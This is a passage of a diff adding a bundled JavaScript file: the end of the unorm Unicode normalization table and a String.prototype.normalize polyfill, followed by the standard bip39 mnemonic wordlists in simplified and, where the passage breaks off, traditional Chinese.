[[12451], 256], 65385: [[12453], 256], 65386: [[12455], 256], 65387: [[12457], 256], 65388: [[12515], 256], 65389: [[12517], 256], 65390: [[12519], 256], 65391: [[12483], 256], 65392: [[12540], 256], 65393: [[12450], 256], 65394: [[12452], 256], 65395: [[12454], 256], 65396: [[12456], 256], 65397: [[12458], 256], 65398: [[12459], 256], 65399: [[12461], 256], 65400: [[12463], 256], 65401: [[12465], 256], 65402: [[12467], 256], 65403: [[12469], 256], 65404: [[12471], 256], 65405: [[12473], 256], 65406: [[12475], 256], 65407: [[12477], 256], 65408: [[12479], 256], 65409: [[12481], 256], 65410: [[12484], 256], 65411: [[12486], 256], 65412: [[12488], 256], 65413: [[12490], 256], 65414: [[12491], 256], 65415: [[12492], 256], 65416: [[12493], 256], 65417: [[12494], 256], 65418: [[12495], 256], 65419: [[12498], 256], 65420: [[12501], 256], 65421: [[12504], 256], 65422: [[12507], 256], 65423: [[12510], 256], 65424: [[12511], 256], 65425: [[12512], 256], 65426: [[12513], 256], 65427: [[12514], 256], 65428: [[12516], 256], 65429: [[12518], 256], 65430: [[12520], 256], 65431: [[12521], 256], 65432: [[12522], 256], 65433: [[12523], 256], 65434: [[12524], 256], 65435: [[12525], 256], 65436: [[12527], 256], 65437: [[12531], 256], 65438: [[12441], 256], 65439: [[12442], 256], 65440: [[12644], 256], 65441: [[12593], 256], 65442: [[12594], 256], 65443: [[12595], 256], 65444: [[12596], 256], 65445: [[12597], 256], 65446: [[12598], 256], 65447: [[12599], 256], 65448: [[12600], 256], 65449: [[12601], 256], 65450: [[12602], 256], 65451: [[12603], 256], 65452: [[12604], 256], 65453: [[12605], 256], 65454: [[12606], 256], 65455: [[12607], 256], 65456: [[12608], 256], 65457: [[12609], 256], 65458: [[12610], 256], 65459: [[12611], 256], 65460: [[12612], 256], 65461: [[12613], 256], 65462: [[12614], 256], 65463: [[12615], 256], 65464: [[12616], 256], 65465: [[12617], 256], 65466: [[12618], 256], 65467: [[12619], 256], 65468: [[12620], 256], 65469: [[12621], 256], 65470: [[12622], 256], 65474: [[12623], 256], 65475: [[12624], 256], 65476: [[12625], 256], 65477: [[12626], 256], 65478: [[12627], 256], 65479: [[12628], 256], 65482: [[12629], 256], 65483: [[12630], 256], 65484: [[12631], 256], 65485: [[12632], 256], 65486: [[12633], 256], 65487: [[12634], 256], 65490: [[12635], 256], 65491: [[12636], 256], 65492: [[12637], 256], 65493: [[12638], 256], 65494: [[12639], 256], 65495: [[12640], 256], 65498: [[12641], 256], 65499: [[12642], 256], 65500: [[12643], 256], 65504: [[162], 256], 65505: [[163], 256], 65506: [[172], 256], 65507: [[175], 256], 65508: [[166], 256], 65509: [[165], 256], 65510: [[8361], 256], 65512: [[9474], 256], 65513: [[8592], 256], 65514: [[8593], 256], 65515: [[8594], 256], 65516: [[8595], 256], 65517: [[9632], 256], 65518: [[9675], 256] } + }; + var unorm = { + nfc, + nfd, + nfkc, + nfkd + }; + if (typeof module === "object") { + module.exports = unorm; + } else if (typeof define === "function" && define.amd) { + define("unorm", function() { + return unorm; + }); + } else { + root.unorm = unorm; + } + unorm.shimApplied = false; + if (!String.prototype.normalize) { + Object.defineProperty(String.prototype, "normalize", { + enumerable: false, + configurable: true, + writable: true, + value: function normalize() { + var str = "" + this; + var form = arguments[0] === undefined ? "NFC" : arguments[0]; + if (this === null || this === undefined) { + throw new TypeError("Cannot call method on " + Object.prototype.toString.call(this)); + } + if (form === "NFC") { + return unorm.nfc(str); + } else if (form === "NFD") { + return unorm.nfd(str); + } else if (form === "NFKC") { + return unorm.nfkc(str); + } else if (form === "NFKD") { + return unorm.nfkd(str); + } else { + throw new RangeError("Invalid normalization form: " + form); + } + } + }); + unorm.shimApplied = true; + } + })(exports); +}); + +// node_modules/bip39/wordlists/chinese_simplified.json +var require_chinese_simplified = __commonJS((exports, module) => { + module.exports = [ + "的", + "一", + "是", + "在", + "不", + "了", + "有", + "和", + "人", + "这", + "中", + "大", + "为", + "上", + "个", + "国", + "我", + "以", + "要", + "他", + "时", + "来", + "用", + "们", + "生", + "到", + "作", + "地", + "于", + "出", + "就", + "分", + "对", + "成", + "会", + "可", + "主", + "发", + "年", + "动", + "同", + "工", + "也", + "能", + "下", + "过", + "子", + "说", + "产", + "种", + "面", + "而", + "方", + "后", + "多", + "定", + "行", + "学", + "法", + "所", + "民", + "得", + "经", + "十", + "三", + "之", + "进", + "着", + "等", + "部", + "度", + "家", + "电", + "力", + "里", + "如", + "水", + "化", + "高", + "自", + "二", + "理", + "起", + "小", + "物", + "现", + "实", + "加", + "量", + "都", + "两", + "体", + "制", + "机", + "当", + "使", + "点", + "从", + "业", + "本", + "去", + "把", + "性", + "好", + "应", + "开", + "它", + "合", + "还", + "因", + "由", + "其", + "些", + "然", + "前", + "外", + "天", + "政", + "四", + "日", + "那", + "社", + "义", + "事", + "平", + "形", + "相", + "全", + "表", + "间", + "样", + "与", + "关", + "各", + "重", + "新", + "线", + "内", + "数", + "正", + "心", + "反", + "你", + "明", + "看", + "原", + "又", + "么", + "利", + "比", + "或", + "但", + "质", + "气", + "第", + "向", + "道", + "命", + "此", + "变", + "条", + "只", + "没", + "结", + "解", + "问", + "意", + "建", + "月", + "公", + "无", + "系", + "军", + "很", + "情", + "者", + "最", + "立", + "代", + "想", + "已", + "通", + "并", + "提", + "直", + "题", + "党", + "程", + "展", + "五", + "果", + "料", + "象", + "员", + "革", + "位", + "入", + "常", + "文", + "总", + "次", + "品", + "式", + "活", + "设", + "及", + "管", + "特", + "件", + "长", + "求", + "老", + "头", + "基", + "资", + "边", + "流", + "路", + "级", + "少", + "图", + "山", + "统", + "接", + "知", + "较", + "将", + "组", + "见", + "计", + "别", + "她", + "手", + "角", + "期", + "根", + "论", + "运", + "农", + "指", + "几", + "九", + "区", + "强", + "放", + "决", + "西", + "被", + "干", + "做", + "必", + "战", + "先", + "回", + "则", + "任", + "取", + "据", + "处", + "队", + "南", + "给", + "色", + "光", + "门", + "即", + "保", + "治", + "北", + "造", + "百", + "规", + "热", + "领", + "七", + "海", + "口", + "东", + "导", + "器", + "压", + "志", + "世", + "金", + "增", + "争", + "济", + "阶", + "油", + "思", + "术", + "极", + "交", + "受", + "联", + "什", + "认", + "六", + "共", + "权", + "收", + "证", + "改", + "清", + "美", + "再", + "采", + "转", + "更", + "单", + "风", + "切", + "打", + "白", + "教", + "速", + "花", + "带", + "安", + "场", + "身", + "车", + "例", + "真", + "务", + "具", + "万", + "每", + "目", + "至", + "达", + "走", + "积", + "示", + "议", + "声", + "报", + "斗", + "完", + "类", + "八", + "离", + "华", + "名", + "确", + "才", + "科", + "张", + "信", + "马", + "节", + "话", + "米", + "整", + "空", + "元", + "况", + "今", + "集", + "温", + "传", + "土", + "许", + "步", + "群", + "广", + "石", + "记", + "需", + "段", + "研", + "界", + "拉", + "林", + "律", + "叫", + "且", + "究", + "观", + "越", + "织", + "装", + "影", + "算", + "低", + "持", + "音", + "众", + "书", + "布", + "复", + "容", + "儿", + "须", + "际", + "商", + "非", + "验", + "连", + "断", + "深", + "难", + "近", + "矿", + "千", + "周", + "委", + "素", + "技", + "备", + "半", + "办", + "青", + "省", + "列", + "习", + "响", + "约", + "支", + "般", + "史", + "感", + "劳", + "便", + "团", + "往", + "酸", + "历", + "市", + "克", + "何", + "除", + "消", + "构", + "府", + "称", + "太", + "准", + "精", + "值", + "号", + "率", + "族", + "维", + "划", + "选", + "标", + "写", + "存", + "候", + "毛", + "亲", + "快", + "效", + "斯", + "院", + "查", + "江", + "型", + "眼", + "王", + "按", + "格", + "养", + "易", + "置", + "派", + "层", + "片", + "始", + "却", + "专", + "状", + "育", + "厂", + "京", + "识", + "适", + "属", + "圆", + "包", + "火", + "住", + "调", + "满", + "县", + "局", + "照", + "参", + "红", + "细", + "引", + "听", + "该", + "铁", + "价", + "严", + "首", + "底", + "液", + "官", + "德", + "随", + "病", + "苏", + "失", + "尔", + "死", + "讲", + "配", + "女", + "黄", + "推", + "显", + "谈", + "罪", + "神", + "艺", + "呢", + "席", + "含", + "企", + "望", + "密", + "批", + "营", + "项", + "防", + "举", + "球", + "英", + "氧", + "势", + "告", + "李", + "台", + "落", + "木", + "帮", + "轮", + "破", + "亚", + "师", + "围", + "注", + "远", + "字", + "材", + "排", + "供", + "河", + "态", + "封", + "另", + "施", + "减", + "树", + "溶", + "怎", + "止", + "案", + "言", + "士", + "均", + "武", + "固", + "叶", + "鱼", + "波", + "视", + "仅", + "费", + "紧", + "爱", + "左", + "章", + "早", + "朝", + "害", + "续", + "轻", + "服", + "试", + "食", + "充", + "兵", + "源", + "判", + "护", + "司", + "足", + "某", + "练", + "差", + "致", + "板", + "田", + "降", + "黑", + "犯", + "负", + "击", + "范", + "继", + "兴", + "似", + "余", + "坚", + "曲", + "输", + "修", + "故", + "城", + "夫", + "够", + "送", + "笔", + "船", + "占", + "右", + "财", + "吃", + "富", + "春", + "职", + "觉", + "汉", + "画", + "功", + "巴", + "跟", + "虽", + "杂", + "飞", + "检", + "吸", + "助", + "升", + "阳", + "互", + "初", + "创", + "抗", + "考", + "投", + "坏", + "策", + "古", + "径", + "换", + "未", + "跑", + "留", + "钢", + "曾", + "端", + "责", + "站", + "简", + "述", + "钱", + "副", + "尽", + "帝", + "射", + "草", + "冲", + "承", + "独", + "令", + "限", + "阿", + "宣", + "环", + "双", + "请", + "超", + "微", + "让", + "控", + "州", + "良", + "轴", + "找", + "否", + "纪", + "益", + "依", + "优", + "顶", + "础", + "载", + "倒", + "房", + "突", + "坐", + "粉", + "敌", + "略", + "客", + "袁", + "冷", + "胜", + "绝", + "析", + "块", + "剂", + "测", + "丝", + "协", + "诉", + "念", + "陈", + "仍", + "罗", + "盐", + "友", + "洋", + "错", + "苦", + "夜", + "刑", + "移", + "频", + "逐", + "靠", + "混", + "母", + "短", + "皮", + "终", + "聚", + "汽", + "村", + "云", + "哪", + "既", + "距", + "卫", + "停", + "烈", + "央", + "察", + "烧", + "迅", + "境", + "若", + "印", + "洲", + "刻", + "括", + "激", + "孔", + "搞", + "甚", + "室", + "待", + "核", + "校", + "散", + "侵", + "吧", + "甲", + "游", + "久", + "菜", + "味", + "旧", + "模", + "湖", + "货", + "损", + "预", + "阻", + "毫", + "普", + "稳", + "乙", + "妈", + "植", + "息", + "扩", + "银", + "语", + "挥", + "酒", + "守", + "拿", + "序", + "纸", + "医", + "缺", + "雨", + "吗", + "针", + "刘", + "啊", + "急", + "唱", + "误", + "训", + "愿", + "审", + "附", + "获", + "茶", + "鲜", + "粮", + "斤", + "孩", + "脱", + "硫", + "肥", + "善", + "龙", + "演", + "父", + "渐", + "血", + "欢", + "械", + "掌", + "歌", + "沙", + "刚", + "攻", + "谓", + "盾", + "讨", + "晚", + "粒", + "乱", + "燃", + "矛", + "乎", + "杀", + "药", + "宁", + "鲁", + "贵", + "钟", + "煤", + "读", + "班", + "伯", + "香", + "介", + "迫", + "句", + "丰", + "培", + "握", + "兰", + "担", + "弦", + "蛋", + "沉", + "假", + "穿", + "执", + "答", + "乐", + "谁", + "顺", + "烟", + "缩", + "征", + "脸", + "喜", + "松", + "脚", + "困", + "异", + "免", + "背", + "星", + "福", + "买", + "染", + "井", + "概", + "慢", + "怕", + "磁", + "倍", + "祖", + "皇", + "促", + "静", + "补", + "评", + "翻", + "肉", + "践", + "尼", + "衣", + "宽", + "扬", + "棉", + "希", + "伤", + "操", + "垂", + "秋", + "宜", + "氢", + "套", + "督", + "振", + "架", + "亮", + "末", + "宪", + "庆", + "编", + "牛", + "触", + "映", + "雷", + "销", + "诗", + "座", + "居", + "抓", + "裂", + "胞", + "呼", + "娘", + "景", + "威", + "绿", + "晶", + "厚", + "盟", + "衡", + "鸡", + "孙", + "延", + "危", + "胶", + "屋", + "乡", + "临", + "陆", + "顾", + "掉", + "呀", + "灯", + "岁", + "措", + "束", + "耐", + "剧", + "玉", + "赵", + "跳", + "哥", + "季", + "课", + "凯", + "胡", + "额", + "款", + "绍", + "卷", + "齐", + "伟", + "蒸", + "殖", + "永", + "宗", + "苗", + "川", + "炉", + "岩", + "弱", + "零", + "杨", + "奏", + "沿", + "露", + "杆", + "探", + "滑", + "镇", + "饭", + "浓", + "航", + "怀", + "赶", + "库", + "夺", + "伊", + "灵", + "税", + "途", + "灭", + "赛", + "归", + "召", + "鼓", + "播", + "盘", + "裁", + "险", + "康", + "唯", + "录", + "菌", + "纯", + "借", + "糖", + "盖", + "横", + "符", + "私", + "努", + "堂", + "域", + "枪", + "润", + "幅", + "哈", + "竟", + "熟", + "虫", + "泽", + "脑", + "壤", + "碳", + "欧", + "遍", + "侧", + "寨", + "敢", + "彻", + "虑", + "斜", + "薄", + "庭", + "纳", + "弹", + "饲", + "伸", + "折", + "麦", + "湿", + "暗", + "荷", + "瓦", + "塞", + "床", + "筑", + "恶", + "户", + "访", + "塔", + "奇", + "透", + "梁", + "刀", + "旋", + "迹", + "卡", + "氯", + "遇", + "份", + "毒", + "泥", + "退", + "洗", + "摆", + "灰", + "彩", + "卖", + "耗", + "夏", + "择", + "忙", + "铜", + "献", + "硬", + "予", + "繁", + "圈", + "雪", + "函", + "亦", + "抽", + "篇", + "阵", + "阴", + "丁", + "尺", + "追", + "堆", + "雄", + "迎", + "泛", + "爸", + "楼", + "避", + "谋", + "吨", + "野", + "猪", + "旗", + "累", + "偏", + "典", + "馆", + "索", + "秦", + "脂", + "潮", + "爷", + "豆", + "忽", + "托", + "惊", + "塑", + "遗", + "愈", + "朱", + "替", + "纤", + "粗", + "倾", + "尚", + "痛", + "楚", + "谢", + "奋", + "购", + "磨", + "君", + "池", + "旁", + "碎", + "骨", + "监", + "捕", + "弟", + "暴", + "割", + "贯", + "殊", + "释", + "词", + "亡", + "壁", + "顿", + "宝", + "午", + "尘", + "闻", + "揭", + "炮", + "残", + "冬", + "桥", + "妇", + "警", + "综", + "招", + "吴", + "付", + "浮", + "遭", + "徐", + "您", + "摇", + "谷", + "赞", + "箱", + "隔", + "订", + "男", + "吹", + "园", + "纷", + "唐", + "败", + "宋", + "玻", + "巨", + "耕", + "坦", + "荣", + "闭", + "湾", + "键", + "凡", + "驻", + "锅", + "救", + "恩", + "剥", + "凝", + "碱", + "齿", + "截", + "炼", + "麻", + "纺", + "禁", + "废", + "盛", + "版", + "缓", + "净", + "睛", + "昌", + "婚", + "涉", + "筒", + "嘴", + "插", + "岸", + "朗", + "庄", + "街", + "藏", + "姑", + "贸", + "腐", + "奴", + "啦", + "惯", + "乘", + "伙", + "恢", + "匀", + "纱", + "扎", + "辩", + "耳", + "彪", + "臣", + "亿", + "璃", + "抵", + "脉", + "秀", + "萨", + "俄", + "网", + "舞", + "店", + "喷", + "纵", + "寸", + "汗", + "挂", + "洪", + "贺", + "闪", + "柬", + "爆", + "烯", + "津", + "稻", + "墙", + "软", + "勇", + "像", + "滚", + "厘", + "蒙", + "芳", + "肯", + "坡", + "柱", + "荡", + "腿", + "仪", + "旅", + "尾", + "轧", + "冰", + "贡", + "登", + "黎", + "削", + "钻", + "勒", + "逃", + "障", + "氨", + "郭", + "峰", + "币", + "港", + "伏", + "轨", + "亩", + "毕", + "擦", + "莫", + "刺", + "浪", + "秘", + "援", + "株", + "健", + "售", + "股", + "岛", + "甘", + "泡", + "睡", + "童", + "铸", + "汤", + "阀", + "休", + "汇", + "舍", + "牧", + "绕", + "炸", + "哲", + "磷", + "绩", + "朋", + "淡", + "尖", + "启", + "陷", + "柴", + "呈", + "徒", + "颜", + "泪", + "稍", + "忘", + "泵", + "蓝", + "拖", + "洞", + "授", + "镜", + "辛", + "壮", + "锋", + "贫", + "虚", + "弯", + "摩", + "泰", + "幼", + "廷", + "尊", + "窗", + "纲", + "弄", + "隶", + "疑", + "氏", + "宫", + "姐", + "震", + "瑞", + "怪", + "尤", + "琴", + "循", + "描", + "膜", + "违", + "夹", + "腰", + "缘", + "珠", + "穷", + "森", + "枝", + "竹", + "沟", + "催", + "绳", + "忆", + "邦", + "剩", + "幸", + "浆", + "栏", + "拥", + "牙", + "贮", + "礼", + "滤", + "钠", + "纹", + "罢", + "拍", + "咱", + "喊", + "袖", + "埃", + "勤", + "罚", + "焦", + "潜", + "伍", + "墨", + "欲", + "缝", + "姓", + "刊", + "饱", + "仿", + "奖", + "铝", + "鬼", + "丽", + "跨", + "默", + "挖", + "链", + "扫", + "喝", + "袋", + "炭", + "污", + "幕", + "诸", + "弧", + "励", + "梅", + "奶", + "洁", + "灾", + "舟", + "鉴", + "苯", + "讼", + "抱", + "毁", + "懂", + "寒", + "智", + "埔", + "寄", + "届", + "跃", + "渡", + "挑", + "丹", + "艰", + "贝", + "碰", + "拔", + "爹", + "戴", + "码", + "梦", + "芽", + "熔", + "赤", + "渔", + "哭", + "敬", + "颗", + "奔", + "铅", + "仲", + "虎", + "稀", + "妹", + "乏", + "珍", + "申", + "桌", + "遵", + "允", + "隆", + "螺", + "仓", + "魏", + "锐", + "晓", + "氮", + "兼", + "隐", + "碍", + "赫", + "拨", + "忠", + "肃", + "缸", + "牵", + "抢", + "博", + "巧", + "壳", + "兄", + "杜", + "讯", + "诚", + "碧", + "祥", + "柯", + "页", + "巡", + "矩", + "悲", + "灌", + "龄", + "伦", + "票", + "寻", + "桂", + "铺", + "圣", + "恐", + "恰", + "郑", + "趣", + "抬", + "荒", + "腾", + "贴", + "柔", + "滴", + "猛", + "阔", + "辆", + "妻", + "填", + "撤", + "储", + "签", + "闹", + "扰", + "紫", + "砂", + "递", + "戏", + "吊", + "陶", + "伐", + "喂", + "疗", + "瓶", + "婆", + "抚", + "臂", + "摸", + "忍", + "虾", + "蜡", + "邻", + "胸", + "巩", + "挤", + "偶", + "弃", + "槽", + "劲", + "乳", + "邓", + "吉", + "仁", + "烂", + "砖", + "租", + "乌", + "舰", + "伴", + "瓜", + "浅", + "丙", + "暂", + "燥", + "橡", + "柳", + "迷", + "暖", + "牌", + "秧", + "胆", + "详", + "簧", + "踏", + "瓷", + "谱", + "呆", + "宾", + "糊", + "洛", + "辉", + "愤", + "竞", + "隙", + "怒", + "粘", + "乃", + "绪", + "肩", + "籍", + "敏", + "涂", + "熙", + "皆", + "侦", + "悬", + "掘", + "享", + "纠", + "醒", + "狂", + "锁", + "淀", + "恨", + "牲", + "霸", + "爬", + "赏", + "逆", + "玩", + "陵", + "祝", + "秒", + "浙", + "貌", + "役", + "彼", + "悉", + "鸭", + "趋", + "凤", + "晨", + "畜", + "辈", + "秩", + "卵", + "署", + "梯", + "炎", + "滩", + "棋", + "驱", + "筛", + "峡", + "冒", + "啥", + "寿", + "译", + "浸", + "泉", + "帽", + "迟", + "硅", + "疆", + "贷", + "漏", + "稿", + "冠", + "嫩", + "胁", + "芯", + "牢", + "叛", + "蚀", + "奥", + "鸣", + "岭", + "羊", + "凭", + "串", + "塘", + "绘", + "酵", + "融", + "盆", + "锡", + "庙", + "筹", + "冻", + "辅", + "摄", + "袭", + "筋", + "拒", + "僚", + "旱", + "钾", + "鸟", + "漆", + "沈", + "眉", + "疏", + "添", + "棒", + "穗", + "硝", + "韩", + "逼", + "扭", + "侨", + "凉", + "挺", + "碗", + "栽", + "炒", + "杯", + "患", + "馏", + "劝", + "豪", + "辽", + "勃", + "鸿", + "旦", + "吏", + "拜", + "狗", + "埋", + "辊", + "掩", + "饮", + "搬", + "骂", + "辞", + "勾", + "扣", + "估", + "蒋", + "绒", + "雾", + "丈", + "朵", + "姆", + "拟", + "宇", + "辑", + "陕", + "雕", + "偿", + "蓄", + "崇", + "剪", + "倡", + "厅", + "咬", + "驶", + "薯", + "刷", + "斥", + "番", + "赋", + "奉", + "佛", + "浇", + "漫", + "曼", + "扇", + "钙", + "桃", + "扶", + "仔", + "返", + "俗", + "亏", + "腔", + "鞋", + "棱", + "覆", + "框", + "悄", + "叔", + "撞", + "骗", + "勘", + "旺", + "沸", + "孤", + "吐", + "孟", + "渠", + "屈", + "疾", + "妙", + "惜", + "仰", + "狠", + "胀", + "谐", + "抛", + "霉", + "桑", + "岗", + "嘛", + "衰", + "盗", + "渗", + "脏", + "赖", + "涌", + "甜", + "曹", + "阅", + "肌", + "哩", + "厉", + "烃", + "纬", + "毅", + "昨", + "伪", + "症", + "煮", + "叹", + "钉", + "搭", + "茎", + "笼", + "酷", + "偷", + "弓", + "锥", + "恒", + "杰", + "坑", + "鼻", + "翼", + "纶", + "叙", + "狱", + "逮", + "罐", + "络", + "棚", + "抑", + "膨", + "蔬", + "寺", + "骤", + "穆", + "冶", + "枯", + "册", + "尸", + "凸", + "绅", + "坯", + "牺", + "焰", + "轰", + "欣", + "晋", + "瘦", + "御", + "锭", + "锦", + "丧", + "旬", + "锻", + "垄", + "搜", + "扑", + "邀", + "亭", + "酯", + "迈", + "舒", + "脆", + "酶", + "闲", + "忧", + "酚", + "顽", + "羽", + "涨", + "卸", + "仗", + "陪", + "辟", + "惩", + "杭", + "姚", + "肚", + "捉", + "飘", + "漂", + "昆", + "欺", + "吾", + "郎", + "烷", + "汁", + "呵", + "饰", + "萧", + "雅", + "邮", + "迁", + "燕", + "撒", + "姻", + "赴", + "宴", + "烦", + "债", + "帐", + "斑", + "铃", + "旨", + "醇", + "董", + "饼", + "雏", + "姿", + "拌", + "傅", + "腹", + "妥", + "揉", + "贤", + "拆", + "歪", + "葡", + "胺", + "丢", + "浩", + "徽", + "昂", + "垫", + "挡", + "览", + "贪", + "慰", + "缴", + "汪", + "慌", + "冯", + "诺", + "姜", + "谊", + "凶", + "劣", + "诬", + "耀", + "昏", + "躺", + "盈", + "骑", + "乔", + "溪", + "丛", + "卢", + "抹", + "闷", + "咨", + "刮", + "驾", + "缆", + "悟", + "摘", + "铒", + "掷", + "颇", + "幻", + "柄", + "惠", + "惨", + "佳", + "仇", + "腊", + "窝", + "涤", + "剑", + "瞧", + "堡", + "泼", + "葱", + "罩", + "霍", + "捞", + "胎", + "苍", + "滨", + "俩", + "捅", + "湘", + "砍", + "霞", + "邵", + "萄", + "疯", + "淮", + "遂", + "熊", + "粪", + "烘", + "宿", + "档", + "戈", + "驳", + "嫂", + "裕", + "徙", + "箭", + "捐", + "肠", + "撑", + "晒", + "辨", + "殿", + "莲", + "摊", + "搅", + "酱", + "屏", + "疫", + "哀", + "蔡", + "堵", + "沫", + "皱", + "畅", + "叠", + "阁", + "莱", + "敲", + "辖", + "钩", + "痕", + "坝", + "巷", + "饿", + "祸", + "丘", + "玄", + "溜", + "曰", + "逻", + "彭", + "尝", + "卿", + "妨", + "艇", + "吞", + "韦", + "怨", + "矮", + "歇" + ]; +}); + +// node_modules/bip39/wordlists/chinese_traditional.json +var require_chinese_traditional = __commonJS((exports, module) => { + module.exports = [ + "的", + "一", + "是", + "在", + "不", + "了", + "有", + "和", + "人", + "這", + "中", + "大", + "為", + "上", + "個", + "國", + "我", + "以", + "要", + "他", + "時", + "來", + "用", + "們", + "生", + "到", + "作", + "地", + "於", + "出", + "就", + "分", + "對", + "成", + "會", + "可", + "主", + "發", + "年", + "動", + "同", + "工", + "也", + "能", + "下", + "過", + "子", + "說", + "產", + "種", + "面", + "而", + "方", + "後", + "多", + "定", + "行", + "學", + "法", + "所", + "民", + "得", + "經", + "十", + "三", + "之", + "進", + "著", + "等", + "部", + "度", + "家", + "電", + "力", + "裡", + "如", + "水", + "化", + "高", + "自", + "二", + "理", + "起", + "小", + "物", + "現", + "實", + "加", + "量", + "都", + "兩", + "體", + "制", + "機", + "當", + "使", + "點", + "從", + "業", + "本", + "去", + "把", + "性", + "好", + "應", + "開", + "它", + "合", + "還", + "因", + "由", + "其", + "些", + "然", + "前", + "外", + "天", + "政", + "四", + "日", + "那", + "社", + "義", + "事", + "平", + "形", + "相", + "全", + "表", + "間", + "樣", + "與", + "關", + "各", + "重", + "新", + "線", + "內", + "數", + "正", + "心", + "反", + "你", + "明", + "看", + "原", + "又", + "麼", + "利", + "比", + "或", + "但", + "質", + "氣", + "第", + "向", + "道", + "命", + "此", + "變", + "條", + "只", + "沒", + "結", + "解", + "問", + "意", + "建", + "月", + "公", + "無", + "系", + "軍", + "很", + "情", + "者", + "最", + "立", + "代", + "想", + "已", + "通", + "並", + "提", + "直", + "題", + "黨", + "程", + "展", + "五", + "果", + "料", + "象", + "員", + "革", + "位", + "入", + "常", + "文", + "總", + "次", + "品", + "式", + "活", + "設", + "及", + "管", + "特", + "件", + "長", + "求", + "老", + "頭", + "基", + "資", + "邊", + "流", + "路", + "級", + "少", + "圖", + "山", + "統", + "接", + "知", + "較", + "將", + "組", + "見", + "計", + "別", + "她", + "手", + "角", + "期", + "根", + "論", + "運", + "農", + "指", + "幾", + "九", + "區", + "強", + "放", + "決", + "西", + "被", + "幹", + "做", + "必", + "戰", + "先", + "回", + "則", + "任", + "取", + "據", + "處", + "隊", + "南", + "給", + "色", + "光", + "門", + "即", + "保", + "治", + "北", + "造", + "百", + "規", + "熱", + "領", + "七", + "海", + "口", + "東", + "導", + "器", + "壓", + "志", + "世", + "金", + "增", + "爭", + "濟", + "階", + "油", + "思", + "術", + "極", + "交", + "受", + "聯", + "什", + "認", + "六", + "共", + "權", + "收", + "證", + "改", + "清", + "美", + "再", + "採", + "轉", + "更", + "單", + "風", + "切", + "打", + "白", + "教", + "速", + "花", + "帶", + "安", + "場", + "身", + "車", + "例", + "真", + "務", + "具", + "萬", + "每", + "目", + "至", + "達", + "走", + "積", + "示", + "議", + "聲", + "報", + "鬥", + "完", + "類", + "八", + "離", + "華", + "名", + "確", + "才", + "科", + "張", + "信", + "馬", + "節", + "話", + "米", + "整", + "空", + "元", + "況", + "今", + "集", + "溫", + "傳", + "土", + "許", + "步", + "群", + "廣", + "石", + "記", + "需", + "段", + "研", + "界", + "拉", + "林", + "律", + "叫", + "且", + "究", + "觀", + "越", + "織", + "裝", + "影", + "算", + "低", + "持", + "音", + "眾", + "書", + "布", + "复", + "容", + "兒", + "須", + "際", + "商", + "非", + "驗", + "連", + "斷", + "深", + "難", + "近", + "礦", + "千", + "週", + "委", + "素", + "技", + "備", + "半", + "辦", + "青", + "省", + "列", + "習", + "響", + "約", + "支", + "般", + "史", + "感", + "勞", + "便", + "團", + "往", + "酸", + "歷", + "市", + "克", + "何", + "除", + "消", + "構", + "府", + "稱", + "太", + "準", + "精", + "值", + "號", + "率", + "族", + "維", + "劃", + "選", + "標", + "寫", + "存", + "候", + "毛", + "親", + "快", + "效", + "斯", + "院", + "查", + "江", + "型", + "眼", + "王", + "按", + "格", + "養", + "易", + "置", + "派", + "層", + "片", + "始", + "卻", + "專", + "狀", + "育", + "廠", + "京", + "識", + "適", + "屬", + "圓", + "包", + "火", + "住", + "調", + "滿", + "縣", + "局", + "照", + "參", + "紅", + "細", + "引", + "聽", + "該", + "鐵", + "價", + "嚴", + "首", + "底", + "液", + "官", + "德", + "隨", + "病", + "蘇", + "失", + "爾", + "死", + "講", + "配", + "女", + "黃", + "推", + "顯", + "談", + "罪", + "神", + "藝", + "呢", + "席", + "含", + "企", + "望", + "密", + "批", + "營", + "項", + "防", + "舉", + "球", + "英", + "氧", + "勢", + "告", + "李", + "台", + "落", + "木", + "幫", + "輪", + "破", + "亞", + "師", + "圍", + "注", + "遠", + "字", + "材", + "排", + "供", + "河", + "態", + "封", + "另", + "施", + "減", + "樹", + "溶", + "怎", + "止", + "案", + "言", + "士", + "均", + "武", + "固", + "葉", + "魚", + "波", + "視", + "僅", + "費", + "緊", + "愛", + "左", + "章", + "早", + "朝", + "害", + "續", + "輕", + "服", + "試", + "食", + "充", + "兵", + "源", + "判", + "護", + "司", + "足", + "某", + "練", + "差", + "致", + "板", + "田", + "降", + "黑", + "犯", + "負", + "擊", + "范", + "繼", + "興", + "似", + "餘", + "堅", + "曲", + "輸", + "修", + "故", + "城", + "夫", + "夠", + "送", + "筆", + "船", + "佔", + "右", + "財", + "吃", + "富", + "春", + "職", + "覺", + "漢", + "畫", + "功", + "巴", + "跟", + "雖", + "雜", + "飛", + "檢", + "吸", + "助", + "昇", + "陽", + "互", + "初", + "創", + "抗", + "考", + "投", + "壞", + "策", + "古", + "徑", + "換", + "未", + "跑", + "留", + "鋼", + "曾", + "端", + "責", + "站", + "簡", + "述", + "錢", + "副", + "盡", + "帝", + "射", + "草", + "衝", + "承", + "獨", + "令", + "限", + "阿", + "宣", + "環", + "雙", + "請", + "超", + "微", + "讓", + "控", + "州", + "良", + "軸", + "找", + "否", + "紀", + "益", + "依", + "優", + "頂", + "礎", + "載", + "倒", + "房", + "突", + "坐", + "粉", + "敵", + "略", + "客", + "袁", + "冷", + "勝", + "絕", + "析", + "塊", + "劑", + "測", + "絲", + "協", + "訴", + "念", + "陳", + "仍", + "羅", + "鹽", + "友", + "洋", + "錯", + "苦", + "夜", + "刑", + "移", + "頻", + "逐", + "靠", + "混", + "母", + "短", + "皮", + "終", + "聚", + "汽", + "村", + "雲", + "哪", + "既", + "距", + "衛", + "停", + "烈", + "央", + "察", + "燒", + "迅", + "境", + "若", + "印", + "洲", + "刻", + "括", + "激", + "孔", + "搞", + "甚", + "室", + "待", + "核", + "校", + "散", + "侵", + "吧", + "甲", + "遊", + "久", + "菜", + "味", + "舊", + "模", + "湖", + "貨", + "損", + "預", + "阻", + "毫", + "普", + "穩", + "乙", + "媽", + "植", + "息", + "擴", + "銀", + "語", + "揮", + "酒", + "守", + "拿", + "序", + "紙", + "醫", + "缺", + "雨", + "嗎", + "針", + "劉", + "啊", + "急", + "唱", + "誤", + "訓", + "願", + "審", + "附", + "獲", + "茶", + "鮮", + "糧", + "斤", + "孩", + "脫", + "硫", + "肥", + "善", + "龍", + "演", + "父", + "漸", + "血", + "歡", + "械", + "掌", + "歌", + "沙", + "剛", + "攻", + "謂", + "盾", + "討", + "晚", + "粒", + "亂", + "燃", + "矛", + "乎", + "殺", 